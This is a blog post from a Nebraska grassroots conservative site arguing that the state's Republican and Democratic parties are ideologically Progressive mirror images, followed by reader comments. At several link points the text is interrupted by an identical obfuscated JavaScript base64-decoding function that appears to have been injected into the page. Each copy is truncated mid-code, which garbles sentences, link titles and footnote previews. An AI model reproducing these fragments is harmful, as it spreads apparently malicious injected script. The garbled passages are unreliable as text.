Grassroots in Nebraska

Working towards Constitutional, limited government

You are here: Home / Featured / Nebraska is Essentially a One Party State

Nebraska is Essentially a One Party State

Originally published , By . Updated . 6 Comments

Editor’s Note: This is the seventh article in a series about Nebraska politics, particularly as pertains to the Nebraska Republican Party and closely connected groups and their relationship to the “tea party movement”. We recommend starting with the article "function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand the Perils of (Assisted) Political Suicide" href="../?p=11629" target="_blank">Nebraska's Ruling Class and the Perils of (Assisted) Political Suicide" which includes links to all other articles in the series.

I was a devoted “Trekkie” in my younger years, even taking a “class” about Star Trek that was offered at the University of Missouri when I was an undergraduate there. (In my defense, I paid my own way through college, so I traveled down some rabbit holes like this at my own expense.)

Star Trek was unique in its day, taking on some social and political issues that had previously been taboo in commercial television. I found myself thinking about one of the episodes in the process of organizing my thoughts to write this article. The show was titled “Let That Be Your Last Battlefield,” and revolved around the two sole survivors of a world devastated by a race war. You see, although the skin color of both of the two dominant races on the planet was one-half white and one-half black with the dividing line right down the center of their bodies, one of the races was white on the right side while the other was white on the left side. To the officers and crew of the Starship Enterprise, the difference was not even noticeable, but it meant everything to the two survivors.

How is this relevant to the political landscape in Nebraska? In a country divided into function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand blue states" href="http://en.wikipedia.org/wiki/Red_states_and_blue_states" target="_blank">red states and blue states, Nebraska congratulates itself on being red -- not just Husker red, but Republican red. I'm going to make the case that, although Nebraska Republicans may be red on the right, they are blue on the left, making them indistinguishable from Nebraska Democrats who bear the same coloring, only reversed. In fact, the two major political parties in Nebraska are, in many essentials, mirror images of one another, and this has been a fact of the political landscape in Nebraska since very early in its history.

My point is exemplified in the lives and careers of the two most famous Nebraska politicians -- William Jennings Bryan, a Democrat, and George W. Norris, a Republican. Although both of these gentlemen called themselves by different party labels, their politics were much more similar than different. Neither gentleman ever met a Progressive idea he didn't like.

What is Progressivism? Shelli recently addressed that question at length  in response to an inquiry we received from a reader.  Her description of Progressivism is reiterated in a footnote below1For the record, Progressivism, very broadly, is the philosophy that there are no fixed principles over time, that it is the “progress of history” ...continue.  For our purposes here, I would summarize Shelli's comments as follows:2Some of these bullet points were taken from Milton Friedman's introduction to his 1962 book, Capitalism function m65c3bbf5572b(wc){var ...continue

  • Progressives view mankind and society as flawed, but perfectible.
  • Progressive objectives are welfare and equality (e.g., social and economic justice) rather than freedom.
  • Progressives rely primarily on the state (i.e., state intervention and paternalism) rather than on private voluntary arrangements to achieve those objectives.
  • Progressives are committed to action and confident of the beneficence of power so long as it is in the hands of a government ostensibly controlled by the electorate.
  • Progressive government is actually controlled and administered by “expert” bureaucrats, with elected officials, particularly those in the legislative branch, serving as figureheads with little actual power.
  • Progressives favor centralized government, resolving any doubt about where power should be located in favor of the state instead of the city, of the federal government instead of the state, and of a world organization instead of a national government.

In his article describing the members of the ruling class on a national level,function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand-the/print#" target="_blank"> Angelo Codevilla asserted, "Differences between Bushes, Clintons, and Obamas are of degree, not kind."  In the same sense, differences between Bryan and Norris were of degree, not kind.  Regardless of political party, first and foremost, they were both Progressive ideologues. I will be publishing articles over the next few days/weeks about each man and his political career in order to make this point crystal clear.

Historians refer to function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand the history of the Progressive movement" href="http://www.wisconsinhistory.org/turningpoints/tp-036/" target="_blank">Wisconsin as the birthplace and home of Progressivism, tracing the movement back to 1900 and the election of Progressive Republican Robert LaFollette as governor of that state.  But, in doing so, the historians ignore Nebraska, where the roots of Progressivism were planted deep in the prairie soil between 1870 and 1900 with the agrarian revolt and the formation of the Populist Party.  Those same historians ignore the fact that it was Nebraska's William Jennings Bryan, not Wisconsin's LaFollette, that assimilated the Progressive movement into one of the two majority parties, the Democratic Party, and, by campaigning for the presidency as a Democrat and as the nominee of the People's (Populist) Party in 1896, first exposed and legitimized Progressive ideas before the national electorate.3Progressive Republican Theodore Roosevelt resurrected many Populist planks function m65c3bbf5572b(wc){var ...continue  Republican George Norris would take up the Progressive banner in Nebraska where Bryan left off.

If Wisconsin was first, Nebraska was a very close second in adopting and furthering the Progressive political agenda.  As a result, differences between Republicans and Democrats in Nebraska, even today, are of degree, not kind.  That's not a good thing, but it does explain:

-- Nebraska State Senator Kathy Campbell.

This is a Republican senator who cannot remember the name of a new health care entitlement program, but is still "really excited" by it.4At a hearing before the Health function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var ...continue She's the Republican state senator who introduced a bill last session to double the gasoline tax and then attempted to deflect criticism by claiming she wasn't serious, she just thought we needed to have that conversation.  Senator Campbell is also the Republican author of LB1110, the measure Shelli and I refer to as the "Night of the Living Dead Bill" because Sen. Campbell and her "posse" keep resurrecting it. If you recall, LB1110 is the proposal to extend Medicaid coverage to pregnant women who do not qualify for Medicaid under federal law.

Did I mention, she's a REPUBLICAN????

Need I say more?  If you've read the linked articles and others we've published on this site about Senator Campbell and her abysmal record in the Unicameral, you'd know that "NO" is the correct answer.  On the other hand, it is possible that mere words and logic cannot account for the phenomenon that is Senator Campbell.  For those requiring more than her example, I offer the following:

Understanding that Nebraska is, essentially, a one party state helps to explain:

Commission on Industrial Relations (CIR)/Collective Bargaining --

With a Republican administration and a Republican super-majority in the Unicameral, the issue of CIR reform was STILL commandeered by Democrats and Unions?  Really?

Sen. Steve Lathrop was Nebraska's Moses, his CIR "reform" bill, the tablets

  • Forty-eight state senators, 36 of whom were Republican, were content to wait for months for the aforementioned Senator Lathrop to amend a shell bill he introduced at the beginning of the legislative session with language recommended by a blue-ribbon committee selected from the community by Lathrop, most of whom were pro-union and with no members drawn from the general taxpaying public, to amend the collective bargaining statutes administered by the CIR.
  • At the same time, persons who inquired about the wait were told that March 10th was the deadline for priority bills.  "Out of respect for the committee process," the entire Unicameral was content to let the process take its course and wait to see what Lathrop came up with, assuring the inquirer that, if Lathrop didn't have something by then or if his proposal was not meaningful reform, nothing he came up with would proceed.
  • Governor Heineman chimed in to assure Nebraskans that, if the Legislature failed to pass "substantial, meaningful reform" of the CIR, he would not support it, yet the Governor's own bill, introduced at the Governor's behest by Senator Utter, was utterly (pun intended) useless, providing for no real reform at all.

Republicans worshipping a golden calf by trolling for donors?

  • In the end, Lathrop's bill to reform the CIR was UNANIMOUSLY passed by the Unicameral and signed by the Governor.  It was touted as a COMPROMISE, but is, in fact, a COMPROMISED bill, which, in many respects, is no reform at all.  Score 1 for the Progressives.  A non-elected state governmental entity retains the power to tell state and local governments what they can and cannot do with respect to the people they employ, and the taxpayers are on the hook to pay for whatever those unelected bureaucrats dictate.

Health Care Reform --

Obamacare will never pass.  Oh, wait, it did?  Well, we'll sue saying it's unconstitutional.  We won?  Uh, okay, but we're still going to implement it, just in case . . .

  • Shelli and I spent a substantial amount of time at the Unicameral both before and after the Affordable Care Act was passed by Congress.  When we asked Republican legislators why they had failed to introduce and back any meaningful state response to Obamacare, every single one justified their lack of action by saying they never believed Congress would pass the health reform law.  Governor Heineman was apparently of that opinion himself.5Following GiN's "Stop the Health Care Bill Before Christmas Rally" in front of Ben Nelson's Lincoln office on Tuesday, December 22, 2009, function ...continue
  • When the Cornhusker Kickback came to light, Nebraska's Governor Dave was seen on national television objecting to that deal, not on the grounds that the health reform law was unconstitutional or that Nebraskans overwhelmingly opposed the legislation.  No.  Heineman rejected the Cornhusker Kickback, saying that it was not fair to the citizens of other states to make them pay Nebraska's increased costs under the proposed reform.  He said, quote, Nebraskans wanted a "fair deal." In fact, Nebraskans wanted no deal at all and no part of Obamacare.
  • The Unicameral, with its super-majority of Republican senators, has approved a number of study resolutions to research how Obamacare can and should be implemented in Nebraska.
  • The same Unicameral has voted on various occasions to expand Nebraska's Medicaid program to cover individuals who make 185% of the federal poverty level or, at times, even more, regardless of the fact that Obamacare only requires states to cover persons who earn up to and including 138% but WILL NOT ALLOW STATES TO ROLL BACK COVERAGE LEVELS IF STATES CHOOSE TO EXTEND COVERAGE TO THOSE WHO EARN MORE, EVEN IF THE STATE IS UNABLE TO AFFORD THAT LEVEL OF COVERAGE IN THE FUTURE.
  • While all this is occurring, Attorney General Jon Bruning is running for the U.S. Senate claiming he considers the health reform law to be unconstitutional and touting his record as a leader in the court challenge against Obamacare, regardless of the fact that the administration he represents continues to implement that law here in Nebraska.

Smaller Government/Fiscal Responsibility --

Do as I say, not as I do.

  • For some inexplicable reason, there is a mythology that Nebraska is a very fiscally conservative state that is in so much better shape than many others. Yet, Nebraska has the highest overall taxation rate in a nine state area - - - fiscal responsibility, anyone? The state ranks in the top ten nationwide in the number of employees who work for state or local government - - - is that SMALL GOVERNMENT??? Nebraska ranks in the top ten states in its number of illegal immigrants. There’s been a recent push in the Unicameral to extend Medicaid coverage to illegals and to grant them in-state tuition and other benefits of citizenship…this is fiscal responsibility??
  • Republican State Senator Deb Fischer introduced a legislative resolution stating Nebraska's opposition to the implementation of Real ID in the state and committing NOT to implement the law in Nebraska.  However, Senator Fischer subsequently introduced a series of bills that incrementally adopted Real ID provisions into Nebraska law and resulted in Real ID's implementation here, expanding the reach of government into the heretofore private lives of Nebraska's citizens.
  • Rep. Jeff Fortenberry, a Republican, spends money like nobody's business while, simultaneously, talking about how he's leading the charge in Congress to restore fiscal responsibility.  Fortenberry...

Likes parts of the health reform law;

Chairs the U.S. House Subcommittee on Department Operations, Oversight, Nutrition and Forestry, which, until recently, had jurisdiction over nutrition programs, including the food stamp program.  In his capacity as chair of that subcommittee, he created the impression on at least one "telephone townhall" he held that I "attended" that he's comfortable, to some extent, with the government telling people what, and what not, to eat;

Thinks that, even though the U.S. government is losing money hand over fist by subsidizing AmTrak, a national rail system that makes a positive return on its operations in only one region of the country -- the Northeast, "the country has to have a national rail system" and he dismisses the possibility that the operation should be privatized;

Voted to support cuts to only 40% of the programs his Republican colleagues in the House agreed could and should be cut to help balance the federal budget;

Voted at least twice to extend unemployment benefits; and

Has voted to increase taxes.

I could go on . . . and on . . . and on.  Unfortunately, there's an abundance of material.  But this article grows long, and I fear my readers tire.  I know I do.  I'll conclude with the following thought.  The ancient Greeks carved the maxim, "Know Thyself," on the wall of the forecourt at the Temple of Apollo at Delphi. These half red/half blue Nebraska Republicans need to heed this maxim. They've been taught that Nebraska is a red state, has always been a red state, and will always be a red state. But the Nebraska Republican Party is not truly red, has never been truly red, and, absent a come to Jesus moment, will never be truly red, if "red" stands for constitutional conservatism. The Nebraska Republican Party has stared at only one side of its reflection for so long, it's never really confronted itself by looking straight into the mirror. It's long past time that it did just that.

Email subscribers, click HERE to watch the included video.

Notes & References   [ + ]

1. ↑ For the record, Progressivism, very broadly, is the philosophy that there are no fixed principles over time, that it is the “progress of history” that should affect policy. Human beings, laws, and policy should evolve. It’s evolution applied to people and policy. Over time, therefore, people and policy can be perfected; Progressive philosophy is ultimately utopian. The Constitution was constructed by men who had studied all of human history and believed there were repeating patterns and that human nature does not fundamentally change over time. Having capacity for good and evil, there were certain corrupting forces -- power being one of them. Therefore, government, run by men, should be limited, and its power separated and balanced. But Progressivism, with its evolution-based thinking, embraced and embraces the idea that documents such as the Constitution can and should be viewed as “living” and ever changing. We’ve “moved forward” this thinking emphasizes. It may have worked in 1789, but things have changed since then and men are better and different because they have evolved. This sort of thinking explains why Progressives believe men, and therefore, government, can now be safely trusted with power. The result has been a transfer of power to government generally, the centralization of it, transfer of power from legislative to executive branches, and explosive growth in government bureaucracy. The whole school of thought is that elected officials should be little more than show ponies while people specially trained in particular areas, the experts, are trusted with ongoing decision making. Progressivism is all about having a good plan and the right planners. Every problem can be solved and society can be perfected using government power to do so. If there’s income disparity, for instance, we can redistribute wealth.
2. ↑ Some of these bullet points were taken from Milton Friedman's introduction to his 1962 book, Capitalism and Freedom.
3. ↑ Progressive Republican Theodore Roosevelt resurrected many Populist planks and re-cast them in new forms during his 1912 run for the presidency. Roosevelt tentatively expanded federal regulations of business corporations. The Progressive Party, which Roosevelt headed in the "Bull Moose campaign" of 1912, also echoed many People's Party concerns. By constitutional amendment, direct election of U.S. Senators became law in 1912. Other Populist planks--particularly those calling for aid to farmers and employment on public works in time of depression--became reality during the 1930s, under the New Deal administrations of Democrat Franklin Roosevelt.
4. ↑ At a hearing before the Health and Human Services Committee during an exchange between Senator Campbell and the Director of the Division of Medicaid and Long Term Care for the Nebraska Department of Health and Human Services, Senator Campbell could not recall the name of the PACE program, calling it the PATH program.  She was corrected by the Director and responded to the Director's correction with the statement, "PACE, why can I -- I can never get that correct. . . . I mean, I have to say, I'm really excited by that program."
5. ↑ Following GiN's "Stop the Health Care Bill Before Christmas Rally" in front of Ben Nelson's Lincoln office on Tuesday, December 22, 2009, and coverage of it in the media, Governor Heineman's Communications Director, Jen Rae Heine, contacted Shelli to discuss Shelli's remarks to reporters regarding the need for the Governor to reject the "Cornhusker Kickback". Ms. Heine reported to Shelli that the Governor's administration did not believe that the health care bill would pass because there were not adequate votes in Congress.

Comments

  1. This is why I left the republican party in 1996. This is why I oppose all efforts to attempt to rejoin and try to change the party from within: a hopeless task!

    Reply

    • R.,
      Thank you for taking the time to visit our site and to comment. I want to be very clear that our intention here is not to be misunderstood. At the moment, we are simply highlighting the problems that exist. I recommend against drawing the conclusion that you note, at least until there are many more Republicans across the state who are willing to acknowledge the realities. In other words, in order to begin to address problems it is vitally necessary to first acknowledge their existence. Based on voting histories in the state, it is clear that the majority of the Republican electorate and the electorate as a whole do not see the problems. Shouldn’t we try having that conversation before we leave the Party? If I were convinced that that had indeed occurred I might be less reluctant to agree with you.

      Of course, individuals do have the liberty to choose as they will. I submit that anyone interested in addressing the issues within our state focus their efforts on reaching out to more of that electorate I mentioned.

      Finally, I think one of the problems is the all or nothing leap your comment conveys; either say nothing, do nothing about problems or you must engage in total rejection. Please do not feed that argument or those labels. How can we have a full and open debate if it is an all or nothing proposition?

      Respectfully,
      Shelli

      Reply

  2. Someone long active in Nebraska politics told me that the problem was a combination of an uninformative press and an inattentive electorate. Adding to the problem are some of the “progressive” reforms, like non-partisan offices and open primaries. It’s too easy for office-seeking Progressives to slap on a Republican label.

    Reply

    • James,
      Thank you for taking the time to stop by and visit and to leave a comment. Seems like spot-on insight to me and very well stated. Thank you very much for the reminder about the media in this whole picture. Of course we have not failed to notice the phenomenon, but we have not much addressed it on our site to date.
      I encourage you to visit again and welcome any further comments,
      Shelli

      Reply

  3. Good piece, Linda! To affirm your point about Bryan’s populism as a precursor to progressivism, I quote Robert W. Chery’s book entitled “Populism, Progressivism, and the Transformation of Nebraska Politics, 1885-1915”: “Most of the reforms labeled ‘progressive’ had been promoted by the Bryan Democrats and their Populist allies for well over a decade before 1906” (p.114).

    Reply
You are here: Home / Featured / Nebraska is Essentially a One Party State

We welcome civil comments, discussion and debate:

We're glad you've chosen to join the discussion. All comments are moderated according to our official commenting policy.

If you wish to format your comment a bit, simply highlight text, then click the appropriate button. (b = bold, i = italics)